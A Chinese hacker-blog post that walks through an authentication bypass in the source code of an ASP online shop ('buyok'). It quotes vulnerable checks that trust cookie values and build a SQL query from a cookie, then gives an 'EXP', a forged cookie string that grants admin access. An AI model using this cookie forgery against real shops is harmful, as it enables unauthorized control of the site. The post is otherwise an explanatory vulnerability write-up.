BY:风之传说

    刚才我挖了一个洞,然后我一个朋友刚好又叫我帮他看源码郁闷又发现了一个~!这人品是咋滴。。

    当然还很感谢心灵大牛的指导哈哈~!

    OK,开始,这是一个网店,本来我想先找注入,貌似注入都过滤了。于是我又来到后台,看了下检测文件,悲剧由此产生:

漏洞文件“checkadmin.asp”:

<%
if request.cookies("buyok")("admin")="" then response.write "<meta http-equiv='refresh' content='0;URL=../admin.asp'>"
%>

    大家看到这里一定以为很简单吧,呵呵,直接COOKIE欺骗就可以进后台,如果真的这样我就不发了~!留个悬念让大家去试试。

    然后我进入后台:http://127.0.0.1/admin/index.asp,自动跟我弹了回来。我当时就郁闷了。

继续看代码“index.asp”:

<!--#include file="checkadmin.asp"-->
<HTML>
<HEAD>
<TITLE>网店后台管理</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<LINK href="manage.css" type=text/css rel=stylesheet>
<script language='javascript'>
if (top != self)top.location.href = "index.asp";
</script>
<base target="right">
</HEAD>
<frameset rows="25,*" framespacing="0" border="0" frameborder="0">
  <frame name="frame_top" src="top.asp" noresize>
  <FRAMESET border=0 frameSpacing=0 frameBorder=0 cols=200,*>
  <FRAME name="left" marginWidth=0 marginHeight=0 src="left.asp" noResize target="right" scrolling="auto">
  <FRAME name="right" marginWidth=20 marginHeight=20 src="main.asp" noResize target="right" scrolling="yes">
</FRAMESET>
<NOFRAMES>
<body topmargin="0" leftmargin="0">
<p>此网页使用了框架,但您的浏览器不支持框架。</p>
</body>
</NOFRAMES>
</frameset>
</HTML>

    看到这里我奇怪了,是调用“checkadmin.asp”啊,为什么进不了后台。我看到了“main.asp”。

    继续跟进,代码就不发了,免得多,最后发现了一个文件。

漏洞文件“include\buyok_functions.asp”,下面贴出部分代码:

set rscheck=conn.execute("select * from buyok_user where UserId='"&request.cookies("buyok")("userid")&"'")
if rscheck.eof and rscheck.bof then
response.write "<script language='javascript'>"
response.write "alert('对不起,您还没有注册或登陆。');"
response.write "location.href='javascript:history.go(-1)';"
response.write "</script>"
response.end

    看到这里大家都懂了吧,呵呵~!

附上 EXP:

首先修改 COOKIE:

KHWJCNQIVQNSXKMKKYHP=GVPLGBWIQTXZICBWSAALROKUCZBJDYHJMYPDEMHE; buyok=userid=1&temp=login&admin=admin;

然后直接进入“http://l127.0.0.1/admin/index.asp”,后台:http://localhost/admin/login.asp。